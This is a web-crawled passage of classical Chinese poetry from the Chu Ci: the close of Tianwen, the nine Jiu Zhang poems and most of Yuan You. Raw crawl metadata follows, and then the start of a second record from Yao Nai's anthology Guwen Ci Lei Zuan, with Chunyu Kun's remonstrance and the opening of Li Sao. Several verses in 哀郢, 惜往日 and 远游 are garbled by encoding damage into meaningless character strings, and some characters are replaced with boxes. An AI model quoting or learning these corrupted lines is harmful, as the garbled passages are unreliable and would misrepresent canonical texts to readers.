何忧\",何不课而行之?鸱龟曳衔,鲧何听焉?顺欲成功,帝何刑焉?永遏在羽山,夫何三年不施?伯禹愎鲧,夫何以变化?纂就前绪,遂成考功。何续初继业,而厥谋不同?洪泉极深,何以窴之?地方九则,何以坟之?河海应龙?何尽何历?鲧何所营?禹何所成?康回冯怒,坠何故以东南倾?九州岛安错?川谷何洿?东流不溢,孰知其故?东西南北\n,其修孰多?南北顺堕,其衍几何?昆仑县圃,其尻安在?增城九重,其高几里?四方之门,其谁从焉?西北辟启,何气通焉?日安不到?烛龙何照?羲和之未扬,若华何光?何所冬暖?何所夏寒?焉有石林?何兽能言?焉有虬龙、负熊以游?雄虺九首,鯈忽焉在?何所不死?长人何守?靡蓱九衢,枲华安居?灵蛇吞象,厥大何如?黑水、玄趾,三危安在?延年不死,寿何所止?鲮鱼何所?鬿堆焉处?羿焉彃日?乌焉解羽?禹之力献功,降省下土四方。焉得彼嵞山女,而通之于台桑?闵妃匹合,厥身是继。胡为嗜不同味,而快朝饱?启代益作后,卒然离蠥。何启惟忧,而能拘是达?皆归射鞠,而无害厥躬。何后益作革,而禹播降?启棘宾商,《九辨》、《九歌》。何勤子屠母,而死分竟地?帝降夷羿,革孽夏民。胡射夫河伯,而妻彼雒嫔?冯珧利决,封豨是射。何献蒸肉之膏,而后帝不若?浞娶纯狐,眩妻爰谋。何羿之射革,而交吞揆之?阻穷西征,岩何越焉?化为黄熊,巫何活焉?咸播秬黍,莆雚是营。何由并投,而鲧疾修盈?白蜺婴茀,胡为此堂?安得夫良药,不能固臧?天式从横,阳离爰死。大鸟何鸣,夫焉丧厥体?蓱号起雨,何以兴之?撰体胁鹿,何以膺之?鳌戴山抃,何以安之?释舟陵行,何之迁之?惟浇在户,何求于嫂?何少康逐犬,而颠陨厥首?女歧缝裳,而馆同爰止。何颠易厥首,而亲以逢殆?汤谋易旅,何以厚之?复舟斟寻,何道取之?桀伐蒙山,何所得焉?妹嬉何肆,汤何殛焉?舜闵在家,父何以鱞?尧不姚告,二女何亲?厥萌在初,何所意焉?璜台十成,谁所极焉?登立为帝,孰道尚之?女娲有体,孰制匠之?舜服厥弟,终然为害。何肆犬豕,而厥身不危败?吴获迄古,南岳是止。孰期去斯,得两男子?缘鹄饰玉,后帝是飨。何承谋夏桀,终以灭丧?帝乃降观,下逢伊挚。何条放致罚,而黎服大说?简狄在台喾何宜?玄鸟致贻女何喜,该秉季德,厥父是臧。胡终弊于有扈,牧夫牛羊?干协时舞,何以怀之?平胁曼肤,何以肥之?有扈牧竖,云何而逢?击床先出,其命何从?恒秉季德,焉得夫朴牛?何往营班禄,不但还来?昏微遵迹,有狄不宁。何繁鸟萃棘,负子肆情?眩弟并淫,危害厥兄。何变化以作诈,而后嗣逢长?成汤东巡,有莘爰极。何乞彼小臣,而吉妃是得?水滨之木,得彼小子。夫何恶之,媵有莘之妇?汤出重泉,夫何罪尤?不胜心伐帝,夫谁使挑之?会晁争盟,何践吾期?苍鸟群飞,孰使萃之?列击纣躬,叔旦不嘉。何亲揆发,何周之命以咨嗟?授殷天下,其位安施?反成乃亡,其罪伊何?争遣伐器,何以行之?并驱击翼,何以将之?昭后成游,南土爰底。厥利惟何,逢彼白雉?穆王巧挴,夫何周流?环理天下,夫何索求?妖夫曳衒,何号于市?周幽谁诛?焉得夫褒姒?天命反侧,何罚何佑?齐桓九会,卒然身杀。彼王纣之躬,孰使乱惑?何恶辅弼,谗谄是服?比干何逆,而抑沉之?雷开何顺,而赐封之?何圣人之一德,卒其异方:梅伯受醢,箕子详狂?稷维元子,帝何竺之?投之于冰上,鸟何燠之?何冯弓挟矢,殊能将之?既惊帝切激,何逢长之?伯昌号衰,秉鞭作牧。何令彻彼岐社,命有殷国?迁藏就岐,何能依?殷有惑妇,何所讥?受赐兹醢,西伯上告。何亲就上帝罚,殷之命以不救?师望在肆,昌何识?鼓刀扬声,后何喜?武发杀殷,何所悒?载尸集战,何所急?伯林雉经,维其何故?何感天抑坠,夫谁畏惧?皇天集命,惟何戒之?受礼天下,又使至代之?初汤臣挚,后兹承辅。何卒官汤,尊食宗绪?勋阖、梦生,少离散亡。何壮武厉,能流厥严?彭铿斟雉,帝何飨?受寿永多,夫何久长?中央共牧,后何怒?□蛾微命,力何固?惊女采薇,鹿何佑?北至回水,萃何喜?兄有噬犬,弟何欲?易之以百两,卒无禄?薄暮雷电,归何忧?厥严不奉,帝何求?伏匿穴处,爰何云?荆勋作师,夫何长?悟过改更,我又何言?吴光争国,久余是胜。何环穿自闾社丘陵,爰出子文?吾告堵敖以不长。何试上自予,忠名弥彰?\n楚辞卷第四\n九章\n惜诵\n惜诵以致愍兮,发愤以抒情。所作忠而言之兮,指苍天以为正。令五帝以折中兮,戒六神与向服。俾山川以备御兮,命咎繇使听直。竭忠诚以事君兮,反离群而赘尤。忘儇媚以背众兮,待明君其知之。言与行其可迹兮,情与貌其不变。故相臣莫若君兮,所以证之不远。吾谊先君而后身兮,羌众人之所仇也。专惟君而无他兮,又众兆之所雠也。壹心而不豫兮,羌不可保也。疾亲君而无他兮,有招祸之道也。思君其莫我忠兮,忽忘身之贱贫。事君而不贰兮,迷不知宠之门。忠何罪以遇罚兮,亦非余心之所志。行不群以巅越兮,又众兆之所咍。纷逢尤以离谤兮,謇不可释也。情沈抑而不达兮,又蔽而莫之白也。心郁邑余侘傺兮,又莫察余之中情。固烦言不可结诒兮,愿陈志而无路。退静默而莫余知兮,进号呼又莫吾闻。申侘傺之烦惑兮,中闷瞀之忳忳。昔余梦登天兮,魂中道而无杭。吾使厉神占之兮,曰:\"有志极而无旁。\"终危独以离异兮,曰君可思而不可恃。故众口其铄金兮,初若是而逢殆。惩于羹者而吹齑兮,何不变此志也?欲释阶而登天兮,犹有曩之态也。众骇遽以离心兮,又何以为此伴也?同极而异路兮,又何以为此援也?晋申生之孝子兮,父信谗而不好。行婞直而不豫兮,鲧功用而不就。吾闻作忠以造怨兮,忽谓之过言。九折臂而成医兮,吾至今而知其信然。矰弋机而在上兮,罻罗张而在下。设张辟以娱君兮,愿侧身而无所。欲儃佪以干傺兮,恐重患而离尤。欲高飞而远集兮,君罔谓女何之?欲横奔而失路兮,坚志而不忍。背膺牉以交痛兮,心郁结而纡轸。梼木兰以矫蕙兮,□申椒以为粮。播江离与滋菊兮,愿春日以为糗芳。恐情质之不信兮,故重着以自明。矫兹媚以私处兮,愿曾思而远身。\n涉江\n余幼好此奇服兮,年既老而不衰。带长铗之陆离兮,冠切云之崔嵬。被明月兮佩宝璐,世溷浊而莫余知兮。吾方高驰而不顾,驾青虬兮骖白螭。吾与重华游兮瑶之圃,登昆仑兮食玉英。与天地兮同寿,与日月兮齐光。哀南夷之莫吾知兮,旦余济乎江、湘。乘鄂渚而反顾兮,欸秋冬之绪风。步余马兮山皋,邸余车兮方林。乘舲船余上沅兮,齐吴榜以击汰。船容与而不进兮,淹回水而凝滞。朝发枉陼兮,夕宿辰阳。苟余心其端直兮,虽僻远之何伤!入溆浦余儃佪兮,迷不知吾所如。深林杳以冥冥兮,乃猿狖之所居。山峻高以蔽日兮,下幽晦以多雨。霰雪纷其无垠兮,云霏霏而承宇。哀吾生之无乐兮,幽独处乎山中。吾不能变心而从俗兮,固将愁苦而终穷。接舆髡首兮,桑扈臝行。忠不必用兮,贤不必以。伍子逢殃兮,比干菹醢。与前世而皆然兮,吾又何怨乎今之人!余将董道而不豫兮,固将重昏而终身。乱曰:鸾鸟凤皇,日以远兮。燕雀乌鹊,巢堂坛兮。露申辛夷,死林薄兮。腥臊并御,芳不得薄兮。阴阳易位,时不当兮。怀信侘傺,忽乎吾将行兮。\n哀郢\n皇天之不纯命兮,何百姓之震愆?民离散而相失兮,方仲春而东迁。去故乡而就远兮,遵江、夏以流亡。出国门而轸怀兮,甲之晁吾以行。发郢都而去闾兮,怊荒忽其焉极?楫齐扬以容与兮,哀见君而不再得。望长楸而太息兮,涕淫淫其若霰。过夏首而西浮兮,顾龙门而不见。心婵媛而伤怀兮,眇不知其所跖。顺风波以从流兮,焉洋洋而为客。凌阳侯之泛滥兮,忽翱翔之焉薄?心絓结而不解兮,思蹇产而不释。将运舟而下浮兮,上洞庭而下江。去终古之所居兮,今逍遥而来东。羌灵魂之欲归兮,何须臾而忘反!背夏浦而西思兮,哀故都之日远。登大坟以远望兮,聊以舒吾忧心。哀州土之平乐兮,悲江介之遗风。当陵阳之焉至兮,淼南渡之焉如?曾不知夏之为丘兮,孰两东门之可芜?心不怡之长久兮,忧与愁其相接。惟郢路之遥远兮,江与夏之不可涉。忽若去不信兮,至今九年而不复。惨郁郁而不通兮,蹇侘傺而含戚。外承欢之汋约兮,谌荏弱而难持。忠湛湛而愿进兮,妒被离而鄣之。尧、舜之抗行兮,了杳杳而薄天。众谗人之嫉妒兮,被以不慈之蚊T鲬C惀之修美兮,好夫人之□慨。众踥蹀而日进兮,美超远而踰迈。乱曰:曼余自以流观兮,冀壹反之何时?鸟飞反故乡兮,狐死必首丘。信非吾罪而弃逐兮,何日夜而忘之?\n抽思\n心郁郁之忧思兮,独永叹乎增伤。思蹇产之不释兮,曼遭夜之方长。悲秋风之动容兮,何回极之浮浮!数惟荪之多怒兮,伤余心之懮懮。愿摇起而横奔兮,览民尤以自镇。结微情以陈辞兮,矫以遗夫美人。昔君与我成言兮,曰:\"黄昏以为期。\"羌中道而回畔兮,反既有此他志。憍吾以其美好兮,览余以其修姱。与余言而不信兮,盖为余而造怒。愿承闲而自察兮,心震悼而不敢。悲夷犹而冀进兮,心怛伤之憺憺。兹历情以陈辞兮,荪详聋而不闻。固切人之不媚兮,众果以我为患。初吾所陈之耿着兮,岂不至今其庸止?何独乐斯之蹇蹇兮?愿荪美之可完。望三五以为像兮,指彭咸以为仪。夫何极而不至兮,故远闻而难亏。善不由外来兮,名不可以虚作。孰无施而有报兮,孰不实而有获?少歌曰:与美人抽怨兮,并日夜而无正。憍吾以其美好兮,敖朕辞而不听。倡曰:有鸟自南兮,来集汉北。好姱佳丽兮,牉独处此异域。既惸独而不群兮,又无良媒在其侧。道卓远而日忘兮,愿自申而不得。望北山而流涕兮,临流水而太息。望孟夏之短夜兮,何晦明之若岁!惟郢路之辽远兮,魂一夕而九逝。曾不知路之曲直兮,南指月与列星。愿径逝而不得兮,魂识路之营营。何灵魂之信直兮,人之心不与吾心同!理弱而媒不通兮,尚不知余之从容。乱曰:长濑湍流,泝江潭兮。狂顾南行,聊以娱心兮。轸石崴嵬,蹇吾愿兮。超回志度,行隐进兮。低徊夷犹,宿北姑兮。烦冤瞀容,实沛徂兮。愁叹苦神,灵遥思兮。路远处幽,又无行媒兮。道思作颂,聊以自救兮。忧心不遂,斯言谁告兮!\n怀沙\n滔滔孟夏兮,草木莽莽。伤怀永哀兮,汩沮南土。眴兮杳杳,孔静幽默。郁结纡轸兮,离愍而长鞠。抚情效志兮,冤屈而自抑。刓方以为圜兮,常度未替。易初本迪兮,君子所鄙。章画志墨兮,前图未改。内厚质正兮,大人所晟。巧陲不斲兮,孰察其揆正。玄文处幽兮,蒙瞍谓之不章。离娄微睇兮,瞽谓之不明。变白以为黑兮,倒上以为下。凤皇在笯兮,鸡鹜翔舞。同糅玉石兮,一概而相量。夫惟党人鄙固兮,羌不知余之所臧。任重载盛兮,陷滞而不济。怀瑾握瑜兮,穷不知所示。邑犬群吠兮,吠所怪也。非俊疑杰兮,固庸态也。文质疏内兮,众不知余之异采。材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰。重华不可遻兮,孰知余之从容!古固有不并兮,岂知何其故!汤、禹久远兮,邈而不可慕。惩连改忿兮,抑心而自强。离闵而不迁兮,愿志之有像。进路北次兮,日昧昧其将暮。舒忧娱哀兮,限之以大故。乱曰:浩浩沅、湘,分流汨兮。修路幽蓛,道远忽兮。怀质抱青,独无匹兮。伯乐既没,骥焉程兮。民生禀命,各有所错兮。定心广志,余何畏惧兮!曾伤爰哀,永叹喟兮。世溷浊莫吾知,人心不可谓兮。知死不可让,愿勿爱兮。明告君子,吾将以为类兮。\n思美人\n思美人兮,揽涕而伫眙。媒绝路阻兮,言不可结而诒。蹇蹇之烦冤兮,陷滞而不发。申旦以舒中情兮,志沉菀而莫达。愿寄言于浮云兮,遇丰隆而不将。因归鸟而致辞兮,羌迅高而难当。高辛之灵晟兮,遭玄鸟而致诒。欲变节以从俗兮,媿易初而屈志。独历年而离愍兮,羌冯心犹未化。宁隐闵而寿考兮,何变易之可为。知前辙之不遂兮,未改此度。车既复而马颠兮,蹇独怀此异路。勒骐骥而更驾兮,造父为我操之。迁逡次而勿驱兮,聊假日以须时。指嶓冢之西隈兮,与纁黄以为期。开春发岁兮,白日出之悠悠。吾将荡志而愉乐兮,遵江、夏以娱忧。揽大薄之芳茞兮,搴长洲之宿莽。惜吾不及古人兮,吾谁与玩此芳草。解萹薄与杂菜兮,备以为交佩。佩缤纷以缭转兮,遂萎绝而离异。吾且儃佪以娱忧兮,观南人之变态。窃快在其中心兮,扬厥凭而不俟。芳与泽其杂糅兮,羌芳华自中出。纷郁郁其远蒸兮,满内而外扬。情与质信可保兮,羌居蔽而闻章。令薜荔以为理兮,惮举趾而缘木。因芙蓉而为媒兮,惮褰裳而濡足。登高吾不说兮,入下吾不能。固朕形之不服兮,然容与而狐疑。广遂前画兮,未改此度也。命则处幽吾将罢兮,愿及白日之未暮也。独茕茕而南行兮,思彭咸之故也。\n惜往日\n惜往日之曾信兮,受命诏以昭诗。奉先功以照下兮,明法度之嫌疑。国富强而法立兮,属贞臣而日娭。秘密事之载心兮,虽过失犹弗治。心纯厖而不泄兮,遭谗人而嫉之。君含怒而待臣兮,不清澈其然否。蔽晦君之聪明兮,虚惑误又以欺。弗参验以考实兮,远迁臣而弗思。信谗谀之溷浊兮,晟气志而过之。何贞臣之无罪兮,被离谤而见尤!惭光景之诚信兮,身幽隐而备之。临沅、湘之玄渊兮,遂自忍而沈流。卒没身而绝名兮,惜廱君之不昭。君无度而弗察兮,使芳草为薮幽。焉舒情而抽信兮,恬死亡而不聊。独鄣廱而蔽隐兮,使贞臣为无由。闻倮镏疄樘斮猓烈腱垛覐N。吕望屠于朝歌兮,宁戚歌而饭牛。不逢汤、武与桓、缪兮,世孰云而知之!吴信谗而弗味兮,子胥死而后忧。介子忠而立枯兮,文君寤而追求;封介山而为之禁兮,报大德之优游。思久故之亲身兮,因缟素而哭之。或忠信而死节兮,或訑谩而不疑。弗省察而按实兮,听谗人之虚辞。芳与泽其杂糅兮,孰申旦而别之?何芳草之早殀兮,微霜降而下戒。谅聪不明而蔽廱兮,使谗谀而日得。自前世之嫉贤兮,谓蕙若其不可佩。妒佳冶之芬芳兮,□母姣而自好。虽有西施之美容兮,谗妒入以自代。愿陈情以白行兮,得罪过之不意。情冤见之日明兮,如列宿之错置。乘骐骥而驰骋兮,无辔衔而自载。乘泛泭以下流兮,无舟楫而自备。背法度而心治兮,辟与此其无异。宁溘死而流亡兮,恐祸殃之有再。不毕辞而赴渊兮,惜廱君之不识。\n橘颂\n后皇嘉树,橘徕服兮。受命不迁,生南国兮。深固难徙,更壹志兮。绿叶素荣,纷其可喜兮。曾枝剡棘,圆果抟兮。青黄杂糅,文章烂兮。精色内白,类任道兮。纷缊宜修,姱而不丑兮。嗟尔幼志,有以异兮。独立不迁,岂不可喜兮。深固难徙,廓其无求兮。苏世独立,横而不流兮。闭心自慎,不终失过兮。秉德无私,参天地兮。愿岁并谢,与长友兮。淑离不淫,梗其有理兮。年岁虽少,可师长兮。行比伯夷,置以为像兮。\n悲回风\n悲回风之摇蕙兮,心冤结而内伤。物有微而陨性兮,声有隐而先倡。夫何彭咸之造思兮,暨志介而不忘!万变其情岂可盖兮,孰虚伪之可长!鸟兽鸣以号群兮,草苴比而不芳。鱼葺鳞以自别兮,蛟龙隐其文章。故荼荠不同亩兮,兰茞幽而独芳。惟佳人之永都兮,更统世而自贶。眇远志之所及兮,怜浮云之相羊。介眇志之所惑兮,窃赋诗之所明。惟佳人之独怀兮,折若椒以自处。曾歔欷之嗟嗟兮,独隐伏而思虑。涕泣交而凄凄兮,思不眠以至曙。终长夜之曼曼兮,掩此哀而不去。寤从容以周流兮,聊逍遥以自恃。伤太息之愍怜兮,气于邑而不可止。□思心以为纕兮,编愁苦以为膺。折若木以蔽光兮,随飘风之所仍。存髣□而不见兮,心踊跃其若汤。抚佩衽以案志兮,超惘惘而遂行。岁曶曶其若颓兮,时亦冉冉而将至。薠蘅槁而节离兮,芳以歇而不比。怜思心之不可惩兮,证此言之不可聊。宁溘死而流亡兮,不忍此心之常愁。孤子吟而抆泪兮,放子出而不还。孰能思而不隐兮,照彭咸之所闻。登石峦以远望兮,路眇眇之默默。入景响之无应兮,闻省想而不可得。愁郁郁之无快兮,居戚戚而不可解。心鞿羁而不开兮,气缭转而自缔。穆眇眇之无垠兮,莽芒芒之无仪。声有隐而相感兮,物有纯而不可为。邈蔓蔓之不可量兮,缥绵绵之不可纡。愁悄悄之常悲兮,翩冥冥之不可娱。凌大波而流风兮,托彭咸之所居。上高岩之峭岸兮,处雌蜺之标颠。据青冥而摅虹兮,遂儵忽而扪天。吸湛露之浮凉兮,漱凝霜之雰雰。依风穴以自息兮,忽倾寤以婵媛。冯昆仑以瞰雾兮,隐岷山以清江。惮涌湍之□□兮,听波声之汹汹。纷容容之无经兮,罔芒芒之无纪。轧洋洋之无从兮,驰委移之焉止。漂翻翻其上下兮,翼遥遥其左右。泛潏潏其前后兮,伴张□之信期。观炎气之相仍兮,窥烟液之所积。悲霜雪之俱下兮,听潮水之相击。借光景以往来兮,施黄棘之枉策。求介子之所存兮,见伯夷之放迹。心调度而弗去兮,刻着志之无适。曰:吾怨往昔之所冀兮,悼来者之悐悐。浮江、淮而入海兮,从子胥而自适。望大河之洲渚兮,悲申徒之抗迹。骤谏君而不听兮,重任石之何益!心絓结而不解兮,思蹇产而不释。\n楚辞卷第五\n远游\n悲时俗之迫阨兮,愿轻举而远游。质菲薄而无因兮,焉托乘而上浮?遭沉浊而污秽兮,独郁结其谁语!夜耿耿而不寐兮,魂营营而至曙。惟天地之无穷兮,哀人生之长勤。往者余弗及兮,来者吾不闻。步徒倚而遥思兮,怊惝怳而乖怀。意荒忽而流荡兮,心愁凄而增悲。神儵忽而不反兮,形枯槁而独留。内惟省以操端兮,求正气之所由。漠虚静以恬愉兮,澹无为而自得。闻赤松之清尘兮,愿承风乎遗则。贵真人之休德兮,美往世之登仙。与化去而不见兮,名声着而日延。奇傅说之托辰星兮,羡韩众之得一。形穆穆以浸远兮,离人群而遁逸。因气变而遂曾举兮,忽神奔而鬼怪。时髣□以遥见兮,精皎皎以往来。超氛埃而淑邮兮,终不反其故都。免众患而不惧兮,世莫知其所如。恐天时之代序兮,耀灵晔而西征。微霜降而下沦兮,悼芳草之先蘦。聊仿佯而逍遥兮,永历年而无成!谁可与玩斯遗芳兮?长乡风而舒情。高阳邈以远兮,余将焉所程?重曰:春秋忽其不淹兮,奚久留此故居?轩辕不可攀援兮,吾将从王乔而娱戏!餐六气而饮沆瀣兮,漱正阳而含朝霞。保神明之清澄兮,精气入而麤秽除。顺凯风以从游兮,至南巢而壹息。见王子而宿之兮,审壹气之和德。曰:\"道可受兮,不可传;其小无内兮,其大无垠;毋滑而魂兮,彼将自然;壹气孔神兮,于中夜存;虚以待之兮,无为之先;庶愐猿少猓说轮T。\"闻至贵而遂徂兮,忽乎吾将行。仍羽人于丹丘兮,留不死之旧乡。朝濯发于汤谷兮,夕晞余身兮九阳。吸飞泉之微液兮,怀琬琰之华英。玉色頩以脕颜兮,精醇粹而始壮。质销铄以汋约兮,神要眇以淫放。嘉南州之炎德兮,丽桂树之冬荣。山萧条而无兽兮,野寂漠而无人。载营魄而登霞兮,掩浮云而上征。命天阍其开关兮,排阊阖而望予。召丰隆使先导兮,问大微之所居。集重阳入帝宫兮,造旬始而观清都。朝发轫于太仪兮,夕始临乎于微闾。屯余车之万乘兮,纷溶与而并驰。驾八龙之婉婉兮,载云旗之逶蛇。建雄虹之采旄兮,五色杂而炫耀。服偃蹇以低昂兮,骖连蜷以骄骜。骑胶葛以杂乱兮,斑漫衍而方行;撰余辔而正策兮,吾将过乎句芒。历太皓以右转兮,前飞廉以启路。阳杲杲其未光兮,凌天地以径度。风伯为余先驱兮,氛埃辟而清凉。凤凰翼其承旗兮,遇蓐收乎西皇。揽彗星以为旍兮,举斗柄以为麾。叛陆离其上下兮,游惊雾之流波。时晻曀其曭莽兮,召玄武而奔属。后文昌使掌行兮,选署众神以并毂。路曼曼其修远兮,徐弭节而高厉。左雨师使径待兮,右雷公以为卫。欲度世以忘归兮,意恣睢以抯挢。内欣欣而自美兮,聊偷娱以淫乐。涉青云以泛滥游兮,忽临睨夫旧乡。仆夫怀余心悲兮,边马顾而不行。思旧故以想象兮,长太息而掩涕。汜容与而遐举兮,聊抑志而自弭。指炎神而直驰兮,吾将往乎南疑。览方外之荒忽兮,沛罔瀁而自浮。祝融戒而跸御兮,腾告鸾鸟迎宓妃。张《咸池》奏《承云》兮,二女御《九韶》歌。使湘灵鼓瑟兮,令海若舞冯夷。玄螭虫象并出进兮,形蟉虬而蜲蛇。雌蜺便娟以增挠兮,鸾鸟轩翥而翔飞。音乐博衍无终极兮,焉乃逝以徘徊。舒并节以驰骛兮,逴绝垠乎寒门。轶迅风于清源兮,从颛顼乎增冰。历玄冥以邪径兮,乘闲维以反顾。召黔嬴而见之兮,为余先乎平路。经营四荒兮,周流六漠:上至列缺兮,降望大壑。下峥嵘而无地兮,上寥廓而无天。视儵忽而无见兮,听惝怳而无闻。超无为以至清兮,与泰初而为邻。","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wen.incasedo.cn\/d_1_41396_1","date":"2019-03-25T01:30:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203547.62\/warc\/CC-MAIN-20190325010547-20190325032547-00248.warc.gz","language":"lzh","language_score":0.4495391846,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4495391845703125, \"cmn_Hani_score\": 0.3274966776371002, \"nan_Hani_score\": 0.10553135722875595, \"wuu_Hani_score\": 0.032337140291929245, \"jpn_Jpan_score\": 0.022822828963398933, \"yue_Hani_score\": 0.019540756940841675}","num_words":265,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"清·姚鼐·纂《古文辞类纂》·卷六十二·目录 \/ 赋帝 理辑\n淳于髡·讽齐威王(797)\n屈原·离骚(798)\n屈原·九章·惜诵(802)\n屈原·九章·涉江(804)\n屈原·九章·哀郢(804)\n屈原·九章·抽思(805)\n屈原·九章·怀沙(806)\n屈原·九章·橘颂(807)\n屈原·九章·悲回风(808)\n屈原·九章·思美人(809)\n屈原·九章·惜往日(810)\n清·姚鼐·纂《古文辞类纂》·卷六十二·内容 \/ 赋帝 理辑\n◆淳于髡讽齐威王\n威王八年,楚大发兵加齐。齐王使淳于髡之赵请救兵,赍金百斤,车马十驷。淳于髡仰天大笑,冠缨索绝。王曰:\"先生少之乎?\"髡曰:\"何敢。\"王曰:\"笑岂有说乎?\"髡曰:\"今者臣从东方来,见道旁有禳田者,操一豚蹄,酒一盂,祝曰:'瓯窭满篝,污邪满车,五谷蕃熟,穰穰满家。'臣见其所持者狭,而所欲者奢,故笑之。\"于是齐威王乃益赍黄金千镒,白璧十双,车马百驷。髡辞而行。至赵,赵王与之精兵十万,革车千乘。楚闻之,夜引兵而去。\n威王大说,置酒后宫,召髡赐之酒。问曰:\"先生能饮几何而醉?\"髡对曰:\"臣饮一斗亦醉,一石亦醉。\"威王曰:\"先生饮一斗而醉,恶能饮一石哉?其说可得闻乎?\"髡曰:\"赐酒大王之前,执法在旁,御史在后,髡恐惧俯伏而饮,不过一斗,径醉矣。若亲有严客,髡帣韝鞠卺,侍酒于前,时赐馀沥,奉觞上寿,数起,饮不过二斗,径醉矣。若朋友交游,久不相见,卒然相睹,欢然道故,私情相语,饮可五六斗,径醉矣。若乃州闾之会,男女杂坐,行酒稽留,六博投壶,相引为曹,握手无罚,目眙不禁,前有堕珥,后有遗簪,髡窃乐此,饮可八斗,而醉二参。日莫酒阑,合尊促坐,男女同席,履舄交错,杯盘狼籍,堂上烛灭,主人留髡而送客,罗襦襟解,微闻芗泽,当此之时,髡心最欢,能饮一石。故曰酒极则乱,乐极则悲,万事尽然。言不可极,极之而衰,以讽谏焉。\"齐王曰:\"善。\"乃罢长夜之饮,以髡为诸侯主客,宗室置酒,髡尝在侧。\n◆屈原离骚\n帝高阳之苗裔兮,朕皇考曰伯庸。摄提贞于孟陬兮,惟庚寅吾以降。皇览揆余于初度兮,肇锡余以嘉名。名余曰正则兮,字余曰灵均。\n纷吾既有此内美兮,又重之以修能。扈江蓠与辟芷兮,纫秋兰以为佩。汩余若将不及兮,恐年岁之不吾与。朝搴阰之木兰兮,夕揽洲之宿莽。日月忽其不淹兮,春与秋其代序。惟草木之零落兮,恐美人之迟暮。不抚壮而弃秽兮,何不改乎此度也?乘骐骥以驰骋兮,来吾导夫先路!\n昔三后之纯粹兮,固众芳之所在。杂申椒与菌桂兮,岂惟纫夫蕙茝?彼尧舜之耿介兮,既遵道而得路。何桀纣之昌披兮,夫惟捷径以窘步!惟党人之偷乐兮,路幽昧以险隘。岂余身之惮殃兮,恐皇舆之败绩。忽奔走以先后兮,及前王之踵武。荃不察余之中情兮,反信谗而齌怒。余固知謇謇之为患兮,忍而不能舍也。指九天以为正兮,夫惟灵修之故也。初既与余成言兮,后悔遁而有他。余既不难夫离别兮,伤灵修之数化。\n余既滋兰之九畹兮,又树蕙之百亩。畦留夷与揭车兮,杂杜蘅与芳芷。冀枝叶之峻茂兮,愿俟时乎吾将刈。虽萎绝其亦何伤兮,哀众芳之芜秽。\n众皆竞进以贪婪兮,凭不厌乎求索。羌内恕己以量人兮,各兴心而嫉妒。忽驰骛以追逐兮,非余心之所急。老冉冉其将至兮,恐修名之不立。朝饮木兰之坠露兮,夕餐秋菊之落英。苟余情其信挎以练要兮,长颇颔亦何伤。掔木根以结茝兮,贯薜荔之落蕊。矫菌桂以纫蕙兮,索胡绳之纚々。謇吾法夫前修兮,非时俗之所服虽不周于今之人兮,愿依彭咸之遗则。长太息以掩涕兮,哀人生之多艰。余虽好修夸以鞿羁兮,謇朝谇而夕替。既替余以蕙纕兮,又申之以揽茝。亦余心之所善兮,虽九死其犹未悔。怨灵修之浩荡兮,终不察夫人心。众女嫉余之蛾眉兮,谣诼谓余以善淫。固时俗之工巧兮,偭规矩而改错。背绳墨以追曲兮,竞周容以为度。忳郁邑余侘傺兮,吾独穷困乎此时也!宁溘死以流亡兮,余不忍为此态也!鸷鸟之不群兮,自前代而固然。何方圆之能周兮,夫孰异道而相安!屈心而抑志兮,忍尤而攘诟。伏清白以死直兮,固前圣之所厚。\n悔相道之不察兮,延伫乎吾将反。回朕车以复路兮,及行迷之未远。步余马于兰皋兮,驰椒丘且焉止息。进不入以离尤兮,退将复修吾初服。制芰荷以为衣兮,集芙蓉以为裳。不吾知其亦已兮,苟余情其信芳。高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。忽反顾以游目兮,将往观乎四荒。佩缤纷其繁饰兮,芳菲菲其弥章。人生各有所乐兮,余独好修以为常。虽体解吾犹未变兮,岂余心之可惩!\n女媭之婵媛兮,申申其詈予。曰:\"鮌幸直以亡身兮,终然夭乎羽之野。汝何博謇而好修兮,纷独有此夸节?薋菉葹以盈室兮,判独离而不服。众不可户说兮,孰云察余之中情?世并举而好朋兮,夫何茕独而不予听?\"\n依前圣以节中兮,喟凭心而历兹。济沅、湘以南征兮,就重华而陈辞。启《九辩》与《九歌》兮,夏康娱以自纵。不顾难以图后兮,五子用失乎家巷。羿淫游以佚田兮,又好射夫封狐。固乱流其鲜终兮,浞又贪夫厥家。浇身被服强圉兮,纵欲而不忍。日康娱而自忘兮,厥首用夫颠陨。夏桀之常违兮,乃遂焉而逢殃。后辛之殖醢兮,殷宗用而不长。汤禹严而祗敬兮,周论道而莫差。举贤而授能兮,循绳墨而不颇。皇天无私阿兮,览民德焉错辅。夫维圣哲以茂行兮,苟得用此下土。瞻前而顾后兮,相观民之计极。夫孰非义而可用兮,孰非善而可服?阽余身而危死兮,览余初其犹未悔。不量凿而正枘兮,固前修以菹醢。曾歔欷余郁悒兮,哀朕时之不当。揽茹蕙以掩涕兮,沾余襟之浪浪。\n跪敷衽以陈辞兮,耿吾既得此中正。驷玉虬以乘兮,溘埃风余上征。朝发轫于苍梧兮,夕余至乎县圃。欲少留此灵琐兮,日忽忽其将暮。吾令羲和弭节兮,望崦嵫而勿迫。路漫漫其修远兮,吾将上下而求索。饮余马于咸池兮,总余辔乎扶桑。折若木以拂日兮,聊须臾以相羊。前望舒使先驱兮,后蜚廉使奔属。鸾皇为余先戒兮,雷师告余以未具。吾令凤鸟飞腾兮,又继之以日夜。飘风屯其相离兮,帅云霓而来御。纷总总其离合兮:班陆离其上下。吾令帝阍开关兮,倚阊阖而望予。时暧暧其将罢兮,结幽兰而延伫。世溷浊而不分兮,好蔽美而嫉妒。\n朝吾将济于白水兮,登阆风而緤马。忽反顾以流涕兮,哀高丘之无女。溘吾游此春宫兮,折琼枝以继佩。及荣华之未落兮,相下女之可贻。吾令丰隆乘云兮,求虑妃之所在。解佩壤以结言兮,吾令蹇修以为理。纷总总其离合兮,忽纬缅其难迁。夕归次于穷石兮,朝濯发乎洧槃。保厥美以骄傲兮,日康娱以淫游。虽信美而无礼兮,来违弃而改求。览相观于四极